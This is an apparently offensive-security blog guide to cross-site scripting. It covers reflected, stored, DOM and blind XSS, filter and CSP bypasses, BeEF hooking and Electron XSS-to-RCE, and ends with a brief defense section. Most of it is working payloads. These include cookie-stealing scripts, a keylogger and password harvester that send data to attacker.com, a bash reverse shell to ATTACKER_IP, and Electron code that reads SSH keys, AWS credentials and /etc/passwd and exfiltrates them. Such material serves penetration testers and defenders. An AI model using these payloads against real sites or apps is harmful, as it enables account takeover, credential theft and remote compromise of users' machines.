Cross-Site Scripting Mastery: Reflected, Stored, DOM-Based and Blind XSS

Complete XSS guide covering all attack types, filter bypasses, CSP evasion, cookie stealing, keyloggers, BeEF framework, XSS-to-RCE via Electron apps.

lazyhackers
Mar 27, 2026 · 16 min read · 11 views

Cross-Site Scripting (XSS) is the most prevalent client-side vulnerability in web applications. Despite being well-documented, XSS continues to appear in major applications including social networks, banking portals, and enterprise software. The impact ranges from session hijacking and credential theft to full account takeover and, in specific environments like Electron-based desktop apps, remote code execution on the victim's operating system. This guide covers every XSS variant with real-world exploitation techniques.

XSS Fundamentals: How the Browser Trusts Injected Code

XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. The browser cannot distinguish between legitimate scripts and attacker-injected code — both execute in the same origin context. This means injected JavaScript inherits all privileges of the target website: access to cookies, local storage, DOM, and the ability to make authenticated requests.

The three properties that make XSS devastating:

  • Same-origin trust: Injected scripts run with the full trust of the vulnerable domain
  • Session access: JavaScript can read document.cookie (unless HttpOnly is set)
  • DOM control: Scripts can read/modify every element on the page, including forms and password fields

Type 1: Reflected XSS

Reflected XSS occurs when user input is immediately reflected in the HTTP response without storage. The malicious payload is part of the request (URL parameter, form field, header) and echoed in the response. The victim must be tricked into clicking a crafted URL.

Basic Detection

-- Search for reflection points
https://target.com/search?q=XSSTEST
-- Check source for: XSSTEST

-- If reflected without encoding, test script tag
https://target.com/search?q=<script>alert(1)</script>

-- Common reflection context: HTML content
https://target.com/search?q=<img src=x onerror=alert(1)>

-- Reflection in attribute value
https://target.com/profile?name=" onmouseover="alert(1)

-- Reflection in JavaScript context
https://target.com/page?callback=alert(1)

Context Analysis

The injection context determines which payload syntax works:

ContextExample SourcePayload
HTML body<p>USER_INPUT</p><script>alert(1)</script>
HTML attribute (quoted)<input value="USER">" onmouseover="alert(1)
HTML attribute (unquoted)<input value=USER>x onmouseover=alert(1)
JavaScript stringvar x = 'USER';'; alert(1);//
JavaScript string (double)var x = "USER";"; alert(1);//
URL parameterhref="USER"javascript:alert(1)

Type 2: Stored (Persistent) XSS

Stored XSS is the most dangerous variant. The payload is permanently saved in the database and executes for every user who views the affected content. A single injection can compromise thousands of users.

High-Value Injection Points

  • Comment fields, forum posts, user bios, product reviews
  • Profile display names, avatar filenames
  • Chat messages, support ticket systems
  • File upload filenames (if displayed in HTML)
  • HTTP headers stored and displayed (User-Agent, Referer in logs/analytics)
  • SVG file uploads (SVGs can contain JavaScript)

SVG XSS via File Upload

<!-- malicious.svg -->
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
If a file upload endpoint accepts SVG files and serves them with Content-Type: image/svg+xml (instead of forcing download), the JavaScript inside executes in the browser context of that domain.

Type 3: DOM-Based XSS

DOM-based XSS occurs entirely client-side. The server never sees the malicious payload — it's processed by JavaScript reading unsafe sources and writing to dangerous sinks.

Common Sources (User-Controlled Input)

document.URL
document.location
document.location.href
document.location.search
document.location.hash
document.referrer
window.name
document.cookie

Common Sinks (Dangerous Functions)

document.write()
document.writeln()
element.innerHTML
element.outerHTML
eval()
setTimeout(string)
setInterval(string)
new Function(string)
element.src
element.href
location.href
location.replace()

DOM XSS Examples

// Vulnerable code reading location.hash
var pos = document.location.hash.indexOf("name=");
var name = document.location.hash.substring(pos + 5);
document.getElementById("greeting").innerHTML = "Hello " + name;

// Exploit:
https://target.com/page#name=<img src=x onerror=alert(document.cookie)>

// Vulnerable URL parameter to eval
var code = new URLSearchParams(window.location.search).get('callback');
eval(code);

// Exploit:
https://target.com/page?callback=alert(document.domain)

// Vulnerable jQuery
$(location.hash)  // jQuery selector can execute <script> tags
// Exploit:
https://target.com/page#<script>alert(1)</script>
DOM XSS is harder to find with traditional scanners because the payload never reaches the server. Use browser developer tools, DOM Invader (Burp Suite), or manual JavaScript source review to identify source-to-sink data flows.

Type 4: Blind XSS

Blind XSS fires in an admin panel, internal tool, or log viewer that the attacker never sees directly. The payload is stored and executes when staff reviews the data. XSS Hunter and similar tools are used to capture the execution context.

XSS Hunter Setup and Payloads

<!-- Host your own XSS Hunter or use xsshunter.trufflesecurity.com -->

<!-- Basic blind XSS payload -->
<script src="https://YOUR.xss.ht"></script>

<!-- Polyglot blind XSS -- works in multiple contexts -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

<!-- Useful injection points for blind XSS -->
User-Agent: <script src="https://YOUR.xss.ht"></script>
X-Forwarded-For: <script src="https://YOUR.xss.ht"></script>
Referer: <script src="https://YOUR.xss.ht"></script>
Username field during registration
Support ticket body/subject
Feedback forms

Filter Bypass Techniques

Applications commonly implement XSS filters that block obvious payloads. Bypassing them requires understanding exactly what the filter strips or encodes.

Tag and Event Handler Bypasses

<!-- When <script> is blocked -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
<details open ontoggle=alert(1)>
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

<!-- No quotes -->
<img src=x onerror=alert(1)>

<!-- Null bytes -->
<scr\x00ipt>alert(1)</script>

<!-- Tab/newline in tag -->
<img	src=x onerror=alert(1)>
<img
src=x onerror=alert(1)>

JavaScript String Bypasses

<!-- When alert is filtered -->
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>console.log(document.cookie)</script>

<!-- String concatenation to bypass keyword filters -->
<script>al\u0065rt(1)</script>
<script>eval('al'+'ert(1)')</script>
<script>window['al'+'ert'](1)</script>
<script>setTimeout('alert\x281\x29',0)</script>

<!-- HTML entity encoding in attributes -->
<svg><a xlink:href="javascript:alert(1)"><text y="20">Click</text></a></svg>
<svg><a xlink:href="javascript:alert(1)"><text y="20">Click</text></a></svg>

<!-- Base64 data URI -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

Polyglot XSS Payloads

<!-- Works in HTML, attribute, and JS contexts -->
'"><svg/onload=alert(1)>

<!-- Classic polyglot -->
'"><img src=x onerror=alert(1)>//
</script><script>alert(1)</script>

<!-- Comprehensive polyglot -->
<script>/*</script>*/alert(1)//
'";alert(1)//
`<img src=x onerror=alert\`1\`>

Content Security Policy (CSP) Bypass

CSP is the primary defense against XSS, restricting which scripts the browser will execute. However, misconfigurations are extremely common and can be bypassed.

Analyzing a CSP Header

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; img-src *

CSP Bypass via JSONP

<!-- If the CSP allows a domain that has a JSONP endpoint -->
<!-- CSP: script-src https://accounts.google.com -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

<!-- CSP: script-src https://ajax.googleapis.com -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<div ng-app ng-csp><div ng-include="'data:,alert(document.domain)'"></div></div>

CSP Bypass via Dangling Markup

<!-- When CSP blocks script execution but you can inject HTML -->
<!-- Exfiltrate page content via img src -->
<img src='https://attacker.com/log?x=

CSP Bypass via Unsafe-Inline with Nonce Leak

<!-- If CSP uses nonces but nonce is predictable or leaked -->
Content-Security-Policy: script-src 'nonce-r4nd0m123'

<!-- If nonce appears in page and you can inject before it's set -->
<script nonce="r4nd0m123">alert(1)</script>

Script Gadgets Bypass

<!-- Angular.js template injection (if angular is allowed by CSP) -->
{{constructor.constructor('alert(1)')()}}
<div ng-app>{{$on.constructor('alert(1)')()}}</div>

<!-- Vue.js -->
<div id="app">{{ constructor.constructor('alert(1)')() }}</div>

Cookie Stealing and Session Hijacking

<!-- Basic cookie exfiltration -->
<script>
fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie));
</script>

<!-- Using Image src (works when fetch is CSP-blocked) -->
<script>
new Image().src='https://attacker.com/steal?c='+encodeURIComponent(document.cookie);
</script>

<!-- XHR method -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET','https://attacker.com/steal?c='+document.cookie,true);
xhr.send();
</script>

<!-- Listener on attacker server (Python) -->
python3 -m http.server 80
<!-- Or with netcat for raw capture -->
nc -lvnp 80

JavaScript Keylogger via XSS

<script>
// Keylogger that exfiltrates typed data
var keys = '';
document.addEventListener('keydown', function(e) {
  keys += e.key;
  // Send every 20 keystrokes
  if (keys.length >= 20) {
    new Image().src = 'https://attacker.com/keys?d=' + encodeURIComponent(keys);
    keys = '';
  }
});
</script>

<!-- Target password fields specifically -->
<script>
setInterval(function() {
  var pwds = document.querySelectorAll('input[type="password"]');
  pwds.forEach(function(el) {
    if (el.value) {
      new Image().src = 'https://attacker.com/pwd?v=' + encodeURIComponent(el.value);
    }
  });
}, 1000);
</script>

BeEF Framework: Browser Exploitation

The Browser Exploitation Framework (BeEF) turns a hooked browser into a persistent command-and-control node, enabling a wide range of client-side attacks.

Setup and Hook

# Install BeEF
sudo apt install beef-xss
# Or from source:
git clone https://github.com/beefproject/beef.git
cd beef && ./install

# Start BeEF
cd /usr/share/beef-xss && sudo beef-xss
# Default UI: http://127.0.0.1:3000/ui/panel
# Credentials: beef:beef (change immediately)

# Hook URL (inject this via XSS)
<script src="http://ATTACKER_IP:3000/hook.js"></script>

Notable BeEF Modules

  • Network Discovery: Scan victim's internal network from their browser
  • Pretty Theft: Fake authentication dialogs to steal credentials
  • Webcam/Microphone: Request browser permissions to capture media
  • Clipboard Theft: Read clipboard contents
  • Port Scanner: Scan ports on the victim's localhost and LAN
  • Router Attack: Fingerprint and attack the victim's router
  • Redirect: Silently redirect to phishing pages
  • Persistence: Maintain access via HTML5 caching even after navigation

XSS to RCE via Electron Applications

Electron apps wrap web content in a desktop wrapper with Node.js access. If an Electron application loads untrusted web content or has XSS, the impact can be full RCE on the victim's machine — not just browser-level compromise.

Conditions for Electron XSS-to-RCE

  • nodeIntegration: true — allows renderer process to use Node.js APIs directly
  • contextIsolation: false — removes isolation between preload scripts and page scripts
  • sandbox: false — disables Chrome sandbox
  • XSS in the application or loading of untrusted external content

RCE Payloads

<!-- If nodeIntegration is enabled in renderer -->
<script>
// Access Node.js require() from renderer
require('child_process').exec('calc.exe');  // Windows
require('child_process').exec('open /Applications/Calculator.app');  // macOS
require('child_process').exec('gnome-calculator');  // Linux
</script>

<!-- Shell command for reverse shell -->
<script>
const {exec} = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
</script>

<!-- Access filesystem -->
<script>
const fs = require('fs');
const data = fs.readFileSync('/etc/passwd', 'utf8');
fetch('https://attacker.com/exfil?d='+encodeURIComponent(data));
</script>

<!-- Read credentials from common locations -->
<script>
const os = require('os');
const fs = require('fs');
const home = os.homedir();
// SSH keys
const sshKey = fs.readFileSync(home+'/.ssh/id_rsa', 'utf8');
// AWS credentials
const awsCreds = fs.readFileSync(home+'/.aws/credentials', 'utf8');
</script>
Real-world Electron vulnerabilities have affected Discord, Slack, VSCode, and many other popular applications. CVE-2023-32784 (KeePass), the Signal Desktop XSS, and multiple Slack vulnerabilities demonstrate the real impact. Always audit Electron apps for nodeIntegration and contextIsolation settings.

Identifying Vulnerable Electron Apps

# Extract app.asar to inspect Electron app source
npm install -g asar
asar extract app.asar extracted/

# Look for dangerous settings in main process
grep -r "nodeIntegration: true" extracted/
grep -r "contextIsolation: false" extracted/
grep -r "webSecurity: false" extracted/

# Check package.json for Electron version
cat extracted/package.json | grep electron

Advanced XSS: CSRF via XSS

<script>
// XSS can bypass CSRF protections by reading the CSRF token from the page
// and including it in a forged request

// Step 1: Read CSRF token
var token = document.querySelector('meta[name="csrf-token"]').content;
// or
var token = document.querySelector('input[name="_token"]').value;

// Step 2: Perform authenticated action as victim
fetch('/admin/delete-user', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': token
  },
  body: JSON.stringify({userId: 1})
});
</script>

Defense Strategies

Output Encoding

Context-aware output encoding is the primary defense. Encode output according to where it's placed:

  • HTML context: &&amp;, <&lt;, >&gt;, "&quot;
  • JavaScript context: Hex-encode non-alphanumeric characters (\xHH or \uHHHH)
  • URL context: Use encodeURIComponent()
  • CSS context: Only allow validated whitelisted values

Content Security Policy

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random-per-request}';
  style-src 'self' 'nonce-{random-per-request}';
  img-src 'self' data: https:;
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

Additional Controls

  • HttpOnly cookies: Prevents JavaScript from reading session cookies — mitigates cookie theft
  • Secure flag: Ensures cookies are only sent over HTTPS
  • SameSite=Strict/Lax: Limits cross-site cookie transmission
  • Trusted Types: Browser API that enforces type-safe DOM manipulation (Chrome/Edge)
  • DOMPurify: Use the DOMPurify library when rendering user-supplied HTML is required
  • Electron: Always set nodeIntegration: false, contextIsolation: true, sandbox: true
Use Google's CSP Evaluator at csp-evaluator.withgoogle.com to check your CSP policy for weaknesses. A strict nonce-based CSP combined with HttpOnly cookies eliminates the most critical XSS impact vectors.
Reactions

Related Articles